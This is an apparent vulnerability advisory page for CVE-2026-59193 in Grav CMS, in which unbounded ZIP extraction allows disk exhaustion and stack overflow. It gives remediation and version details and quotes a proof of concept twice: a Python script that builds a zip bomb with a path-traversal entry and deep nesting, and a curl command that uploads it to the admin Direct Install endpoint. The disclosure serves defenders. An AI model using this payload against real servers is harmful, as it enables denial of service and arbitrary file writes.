CVE-2026-59193: Getgrav/grav :unZip() Vulnerability

MODERATE
Advisory Identifier: GHSA-2vcx-h8p2-9pg9
CVSS 4.9
CWE-409
Published
Advisory Summary

CVE-2026-59193 is a MODERATE (CVSS 4.9) :unzip() vulnerability (CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)) affecting Getgrav/grav libraries in the Packagist ecosystem. The issue involves :unzip(). Remediation is available by upgrading affected packages to version 2.0.0.

CVE-2026-59193 at a Glance

CVE Identifier CVE-2026-59193
GHSA Identifier GHSA-2vcx-h8p2-9pg9
Severity MODERATE
CVSS v3.1 Base Score 4.9
CWE Classification CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Affected Product Getgrav/grav
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 4.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-59193

To remediate this vulnerability, upgrade all affected Getgrav/grav dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

getgrav/grav fixed: 2.0.0
Upgrade getgrav/grav to 2.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for getgrav/grav

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-59193, inspect your project dependencies for Getgrav/grav:

inspect dependencies for getgrav/grav

Analyze the terminal output to locate any version of Getgrav/grav in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification), where the product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output. In Getgrav/grav, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool. The method `Installer::unZip()` calls `ZipArchive::extractTo()` without any limit on uncompressed size, entry count, or directory depth, enabling Zip Bomb (CWE-409), stack overflow (CWE-674), and disk/inode exhaustion. ### Details The vulnerability is in `system/src/Grav/Common/GPM/Installer.php:176-208` (`Installer::unZip()`). The `ZipArchive::extractTo()` call at line 184 is not preceded by any validation of the archive contents. Missing validation: - ❌ No total uncompressed size check (decompression bomb — CWE-409) - ❌ No entry count check (inode exhaustion) - ❌ No directory nesting depth check (stack overflow in `Folder::doDelete()` — CWE-674) The subsequent cleanup call `Folder::delete($destination)` at line 189 recursively deletes every subdirectory without depth limit (`Folder.php:531-547`). A ZIP with thousands of nested directories will cause PHP's maximum nesting level to be exceeded, so the cleanup fails silently and leaves extracted files on disk. The existing Zip Slip fix (GHSA-w48r-jppp-rcfw / CVE-2026-42607, commit 5a12f9be8) only checks for `../` in entry paths and does not add any size, count, or depth limits. ### PoC 1. Generate the malicious ZIP: python3 cve_poc_grav_zip.py: ```python #!/usr/bin/env python3 """ CVE PoC — Grav CMS Installer::unZip() Zip Bomb + Zip Slip + Deep Nesting ZIP file to attach to the CVE advisory. Note: Zip Slip (../) already has CVE-2026-42607. This PoC targets the Zip Bomb (CWE-409) which has NO CVE — extracted size/depth/count have no limits. """ import zipfile, os, sys OUT = "/tmp/cve_poc_grav.zip" def build(): with zipfile.ZipFile(OUT, 'w', zipfile.ZIP_DEFLATED) as z: # --- Zip Slip: arbitrary write outside target --- z.writestr("../../../tmp/CVE_POC_SLIP", "ZIP SLIP: writes outside target\n") # --- Deep nesting: 100 levels → Folder::delete() has no depth limit --- for i in range(100): z.writestr(f"deep/{'x/' * i}.keep", "") # --- Compression bomb: 100 identical files = ratio ~ 196:1 --- for i in range(100): z.writestr(f"bomb/{i}.dat", b"A" * 100_000) with zipfile.ZipFile(OUT) as z: infos = z.infolist() compressed = os.path.getsize(OUT) uncompressed = sum(e.file_size for e in infos) slip = any(".." in e.filename for e in infos) depths = [e.filename.count('/') for e in infos] print("=" * 60) print("CVE PoC — Grav CMS Installer::unZip()") print("Zip Bomb | Zip Slip | Deep Nesting") print("=" * 60) print(f"File : {OUT}") print(f"ZIP size : {compressed:,} B ({compressed/1024:.1f} KB)") print(f"Uncompressed : {uncompressed:,} B ({uncompressed/1024/1024:.1f} MB)") print(f"Ratio : {uncompressed/compressed:.0f}:1") print(f"Entries : {len(infos)}") print(f"Max depth : {max(depths) if depths else 0}") print(f"Zip Slip (../) : {'YES' if slip else 'NO'}") print(f"\nUpload via Grav Admin → /admin/tools/direct-install?task=directInstall") print(f"Result: disk exhaustion + Folder::delete() stack overflow + arbitrary write") if __name__ == "__main__": build() ``` 3. Authenticate as admin.super and retrieve the nonce from /admin 4. Upload through Direct Install: ``` curl -X POST 'https://target/admin/tools/direct-install?task=directInstall' \ -H 'Cookie: grav-admin=<SESSION>' \ -F 'admin-nonce=<NONCE>' \ -F 'uploaded_file=@/tmp/cve_poc_grav.zip' ``` Result: server extracts all entries (9.5 MB → 200 files + 100 nesting levels). The cleanup crashes with "Maximum function nesting level reached" due to 100-level deep recursion. ### Impact An authenticated administrator (admin.super) can: - Fill the server disk with highly compressed data (196:1 ratio with simple repeating data, up to 10^11:1 with nested ZIP bombs) - Exhaust inodes via thousands of small files - Trigger a PHP stack overflow via deep directory nesting that prevents cleanup, leaving files on disk permanently - Partially or fully deny service to all users (both authenticated and unauthenticated)

CVE-2026-59193 Affected Getgrav/grav Versions

1 component(s)
Fixed Versions:
2.0.0
Product / Package Ecosystem Affected Versions Fixed Version
getgrav/grav
Packagist
≥ 1.0.0
< 2.0.0
2.0.0

References

Frequently Asked Questions

What is CVE-2026-59193?
CVE-2026-59193 is a security vulnerability in Getgrav/grav involving :unZip() under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification).
Which Getgrav/grav versions are affected?
Affected versions include releases prior to 2.0.0 across affected packages: getgrav/grav.
What version fixes CVE-2026-59193?
Upgrading to 2.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is getgrav/grav affected?
Yes, getgrav/grav is affected in releases prior to 2.0.0. Upgrade your dependency to 2.0.0 or later.
What is the CVSS score of CVE-2026-59193?
CVE-2026-59193 has a CVSS v3.1 base score of 4.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-59193?
CVE-2026-59193 is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.).
How can I check Packagist dependencies for CVE-2026-59193?
Run the dependency tree command: 'inspect dependencies for getgrav/grav'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2vcx-h8p2-9pg9",
  "modified" : "2026-09-16T22:12:10Z",
  "published" : "2026-09-16T22:12:10Z",
  "aliases" : [ "CVE-2026-59193" ],
  "summary" : "Grav CMS — Improper Handling of Highly Compressed Data in Installer::unZip()",
  "details" : "### Summary\nAn authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool. The method `Installer::unZip()` calls `ZipArchive::extractTo()` without any limit on uncompressed size, entry count, or directory depth, enabling Zip Bomb (CWE-409), stack overflow (CWE-674), and disk/inode exhaustion.\n### Details\nThe vulnerability is in `system/src/Grav/Common/GPM/Installer.php:176-208` (`Installer::unZip()`). The `ZipArchive::extractTo()` call at line 184 is not preceded by any validation of the archive contents.\n\nMissing validation:\n- ❌ No total uncompressed size check (decompression bomb — CWE-409)\n- ❌ No entry count check (inode exhaustion)\n- ❌ No directory nesting depth check (stack overflow in `Folder::doDelete()` — CWE-674)\n\nThe subsequent cleanup call `Folder::delete($destination)` at line 189 recursively deletes every subdirectory without depth limit (`Folder.php:531-547`). A ZIP with thousands of nested directories will cause PHP's maximum nesting level to be exceeded, so the cleanup fails silently and leaves extracted files on disk.\n\nThe existing Zip Slip fix (GHSA-w48r-jppp-rcfw / CVE-2026-42607, commit 5a12f9be8) only checks for `../` in entry paths and does not add any size, count, or depth limits.\n### PoC\n1. Generate the malicious ZIP:\n\n   python3 cve_poc_grav_zip.py:\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE PoC — Grav CMS Installer::unZip()\nZip Bomb + Zip Slip + Deep Nesting\nZIP file to attach to the CVE advisory.\n\nNote: Zip Slip (../) already has CVE-2026-42607. This PoC targets the Zip Bomb (CWE-409)\nwhich has NO CVE — extracted size/depth/count have no limits.\n\"\"\"\n\nimport zipfile, os, sys\n\nOUT = \"/tmp/cve_poc_grav.zip\"\n\ndef build():\n    with zipfile.ZipFile(OUT, 'w', zipfile.ZIP_DEFLATED) as z:\n        # --- Zip Slip: arbitrary write outside target ---\n        z.writestr(\"../../../tmp/CVE_POC_SLIP\", \"ZIP SLIP: writes outside target\\n\")\n\n        # --- Deep nesting: 100 levels → Folder::delete() has no depth limit ---\n        for i in range(100):\n            z.writestr(f\"deep/{'x/' * i}.keep\", \"\")\n\n        # --- Compression bomb: 100 identical files = ratio ~ 196:1 ---\n        for i in range(100):\n            z.writestr(f\"bomb/{i}.dat\", b\"A\" * 100_000)\n\n    with zipfile.ZipFile(OUT) as z:\n        infos = z.infolist()\n        compressed = os.path.getsize(OUT)\n        uncompressed = sum(e.file_size for e in infos)\n        slip = any(\"..\" in e.filename for e in infos)\n        depths = [e.filename.count('/') for e in infos]\n\n    print(\"=\" * 60)\n    print(\"CVE PoC — Grav CMS Installer::unZip()\")\n    print(\"Zip Bomb | Zip Slip | Deep Nesting\")\n    print(\"=\" * 60)\n    print(f\"File           : {OUT}\")\n    print(f\"ZIP size       : {compressed:,} B ({compressed/1024:.1f} KB)\")\n    print(f\"Uncompressed   : {uncompressed:,} B ({uncompressed/1024/1024:.1f} MB)\")\n    print(f\"Ratio          : {uncompressed/compressed:.0f}:1\")\n    print(f\"Entries        : {len(infos)}\")\n    print(f\"Max depth      : {max(depths) if depths else 0}\")\n    print(f\"Zip Slip (../) : {'YES' if slip else 'NO'}\")\n    print(f\"\\nUpload via Grav Admin → /admin/tools/direct-install?task=directInstall\")\n    print(f\"Result: disk exhaustion + Folder::delete() stack overflow + arbitrary write\")\nif __name__ == \"__main__\":\n    build()\n```\n\n3. Authenticate as admin.super and retrieve the nonce from /admin\n\n4. Upload through Direct Install:\n```\n   curl -X POST 'https://target/admin/tools/direct-install?task=directInstall' \\\n     -H 'Cookie: grav-admin=<SESSION>' \\\n     -F 'admin-nonce=<NONCE>' \\\n     -F 'uploaded_file=@/tmp/cve_poc_grav.zip'\n```\nResult: server extracts all entries (9.5 MB → 200 files + 100 nesting levels). The cleanup crashes with \"Maximum function nesting level reached\" due to 100-level deep recursion.\n### Impact\n\nAn authenticated administrator (admin.super) can:\n- Fill the server disk with highly compressed data (196:1 ratio with simple repeating data, up to 10^11:1 with nested ZIP bombs)\n- Exhaust inodes via thousands of small files\n- Trigger a PHP stack overflow via deep directory nesting that prevents cleanup, leaving files on disk permanently\n- Partially or fully deny service to all users (both authenticated and unauthenticated)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "getgrav/grav"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.0"
      }, {
        "fixed" : "2.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav/security/advisories/GHSA-2vcx-h8p2-9pg9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59193"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav/commit/23d6f2adf4ce11889c088ac8557c8314baeef781"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/getgrav/grav"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav/releases/tag/2.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-409" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-16T22:12:10Z",
    "nvd_published_at" : "2026-07-10T17:17:02Z"
  }
}